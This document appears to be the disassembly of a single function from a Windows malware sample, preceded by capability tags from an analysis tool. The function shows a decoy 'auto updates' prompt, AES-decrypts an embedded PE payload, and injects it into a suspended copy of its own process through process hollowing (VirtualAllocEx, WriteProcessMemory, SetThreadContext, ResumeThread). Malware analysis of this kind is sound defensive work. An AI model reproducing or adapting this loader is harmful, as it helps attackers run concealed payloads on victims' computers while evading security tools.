Function at 0x140003880
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Create process on windows
Create process suspended
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Resume thread
Terminate process
Use process replacement

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0xaf0]
sub rsp, 0xbf0
mov rax, qword [0x140035080]
xor rax, rsp
mov qword [rbp + 0xad0], rax
mov r9d, 0x24
lea r8, str.Auto_Updates
lea rdx, str.Do_you_want_auto_updates_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x1400038cc
call fcn.1400030e0
jmp 0x1400038e8
mov r9d, 0x40
lea r8, str.Message
lea rdx, str.Auto_updates_disabled.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov r8d, 0x104
lea rdx, [rbp + 0x9c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0x9c0]
mov dword [rbp + 0x938], 0x46810
mov r9d, 0x18
mov qword [0x14007e0f0], rax
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rbp + 0x940]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea rdi, [0x140035cb0]
test eax, eax
je 0x1400039fd
mov rcx, qword [rbp + 0x940]
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1400039fd
mov rcx, qword [rsp + 0x70]
lea rdx, [0x14007c4c0]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1400039fd
mov r8, qword [rsp + 0x70]
lea rax, [rbp - 0x80]
mov rcx, qword [rbp + 0x940]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x1400039fd
mov rcx, qword [rbp - 0x80]
lea rax, [rbp + 0x938]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1400039fd
mov rcx, qword [rbp + 0x940]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov qword [rsp + 0xc10], rsi
mov qword [rsp + 0xc18], r12
mov qword [rsp + 0xc20], r13
mov qword [rsp + 0xbe8], r14
mov qword [rsp + 0xbe0], r15
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x46810
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x14000401e
mov r8d, 0x46810
mov rdx, rdi
mov rcx, rax
call fcn.140023610
movsxd rcx, dword [rbx + 0x3c]
cmp dword [rcx + rbx], 0x4550
jne 0x14000400a
mov rcx, qword [0x14007e0f0]
xorps xmm0, xmm0
xor eax, eax
mov dword [rbp + 0x950], 0x68
mov dword [rbp + 0x9b4], eax
xor r14d, r14d
mov qword [rsp + 0x60], rax
mov r12d, 1
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rbp + 0x950]
xor edx, edx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
movups xmmword [rbp + 0x954], xmm0
movups xmmword [rbp + 0x964], xmm0
movups xmmword [rbp + 0x974], xmm0
movups xmmword [rbp + 0x984], xmm0
movups xmmword [rbp + 0x994], xmm0
movups xmmword [rbp + 0x9a4], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140003bae
mov rcx, qword [rsp + 0x50]
lea rdx, [rbp + 0x930]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor edx, edx
cmp dword [rbp + 0x930], r14d
je 0x140003c01
mov r8d, 0x2c8
mov qword [rbp - 0x80], r14
lea rcx, [rbp - 0x6c]
call fcn.140023cb0
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x70]
mov dword [rbp - 0x70], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov edx, dword [rbp + 0x34]
lea r9d, [r14 + 4]
mov rcx, qword [rsp + 0x50]
lea r8, [rbp - 0x80]
add edx, 8
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140003b89
xorps xmm0, xmm0
xorps xmm1, xmm1
psrldq xmm0, 8
movq rax, xmm1
movq rcx, xmm0
jmp 0x140003ba0
mov eax, dword [rbp + 0x34]
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
movdqa xmm1, xmmword [rsp + 0x70]
test rcx, rcx
je 0x140003bae
test rax, rax
jne 0x140003ca0
cmp rbx, 0xffffffffffffffff
je 0x140003bc8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140003bd8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14000401e
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000401e
mov r8d, 0x4d0
mov qword [rsp + 0x70], r14
lea rcx, [rbp + 0x460]
call fcn.140023cb0
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp + 0x460]
mov dword [rbp + 0x490], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 0x4e8]
lea r8, [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140003c75
xorps xmm0, xmm0
xorps xmm1, xmm1
psrldq xmm0, 8
movq rax, xmm1
movq rcx, xmm0
jmp 0x140003c8e
mov rax, qword [rbp + 0x4e8]
mov rcx, qword [rsp + 0x70]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
movdqa xmm1, xmmword [rbp - 0x80]
test rcx, rcx
je 0x140003bae
test rax, rax
je 0x140003bae
movsxd rcx, dword [rbx + 0x3c]
mov eax, 0x10b
cmp word [rcx + rbx + 0x18], ax
mov eax, dword [rbp + 0x930]
jne 0x140003cc2
mov r13d, r12d
test eax, eax
jne 0x140003ccd
jmp 0x14000401e
mov r13d, r14d
test eax, eax
jne 0x14000401e
movzx edi, word [rcx + rbx + 0x5c]
mov rcx, qword [rsp + 0x50]
psrldq xmm1, 8
movq rdx, xmm1
test eax, eax
je 0x140003cec
call fcn.140002540
jmp 0x140003cf1
call fcn.140002680
cmp eax, 0xffffffff
je 0x140003bae
cmp edi, eax
jne 0x140003bae
movsxd rcx, dword [rbx + 0x3c]
test r13d, r13d
je 0x140003e62
mov eax, r14d
cmp dword [rcx + rbx + 0xa0], eax
setne al
test eax, eax
jne 0x140003e50
mov r8d, dword [rbx + rcx + 0x50]
lea rdi, [rbx + rcx]
mov edx, dword [rdi + 0x34]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x140003bb4
mov r9d, dword [rdi + 0x54]
mov r8, rbx
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003bb4
mov esi, r14d
cmp r14w, word [rdi + 6]
jae 0x140003dc8
xor r13d, r13d
movzx eax, word [rdi + 0x14]
mov rcx, qword [rsp + 0x50]
add rax, r14
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + rdi + 0x2c]
mov edx, dword [rax + rdi + 0x24]
add r8, rbx
mov r9d, dword [rax + rdi + 0x28]
add rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003bb4
movzx eax, word [rdi + 6]
inc esi
add r14, 0x28
cmp esi, eax
jl 0x140003d84
xor r14d, r14d
xor edx, edx
lea rcx, [rbp - 0x6c]
mov r8d, 0x2c8
call fcn.140023cb0
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x70]
mov dword [rbp - 0x70], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x140003bb4
mov edx, dword [rbp + 0x34]
lea r8, [rdi + 0x34]
mov rcx, qword [rsp + 0x50]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003bb4
mov ecx, dword [rdi + 0x28]
lea rdx, [rbp - 0x70]
add ecx, r15d
mov dword [rbp + 0x40], ecx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x140003bb4
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x140003fcc
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.1400027d0
jmp 0x140003fc4
cmp dword [rcx + rbx + 0xb0], r14d
jne 0x140003e6f
mov r12d, r14d
test r12d, r12d
jne 0x140003fb7
mov r8d, dword [rbx + rcx + 0x50]
lea rdi, [rbx + rcx]
mov rdx, qword [rdi + 0x30]
lea r14, [rdi + 0x30]
mov rcx, qword [rsp + 0x50]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x140003bb4
mov r9d, dword [rdi + 0x54]
mov r8, rbx
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003bb4
xor ecx, ecx
mov esi, ecx
cmp cx, word [rdi + 6]
jae 0x140003f2b
mov r14d, ecx
movzx eax, word [rdi + 0x14]
add rax, r14
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x50]
mov r8d, dword [rax + rdi + 0x2c]
mov edx, dword [rax + rdi + 0x24]
add r8, rbx
mov r9d, dword [rax + rdi + 0x28]
add rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003fa5
movzx eax, word [rdi + 6]
inc esi
add r14, 0x28
mov ecx, 0
cmp esi, eax
jl 0x140003ee1
lea r14, [rdi + 0x30]
xor edx, edx
lea rcx, [rbp - 0x70]
mov r8d, 0x4d0
call fcn.140023cb0
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x70]
mov dword [rbp - 0x40], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140003fa5
mov rdx, qword [rbp + 0x18]
xor eax, eax
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r8, r14
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003fa5
mov eax, dword [rdi + 0x28]
lea rdx, [rbp - 0x70]
mov rcx, qword [rsp + 0x58]
add rax, r15
mov qword [rbp + 0x10], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x140003fa5
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x140003fcc
test r13d, r13d
jne 0x140003bb4
test r12d, r12d
je 0x140003bb4
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140002ac0
test eax, eax
je 0x140003bb4
cmp rbx, 0xffffffffffffffff
je 0x140003fe6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140003ff6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140004006
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140004023
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0xffffffff
mov r15, qword [rsp + 0xbe0]
mov r14, qword [rsp + 0xbe8]
mov r13, qword [rsp + 0xc20]
mov r12, qword [rsp + 0xc18]
mov rsi, qword [rsp + 0xc10]
mov rcx, qword [rbp + 0xad0]
xor rcx, rsp
call fcn.140007d60
add rsp, 0xbf0
pop rdi
pop rbx
pop rbp
ret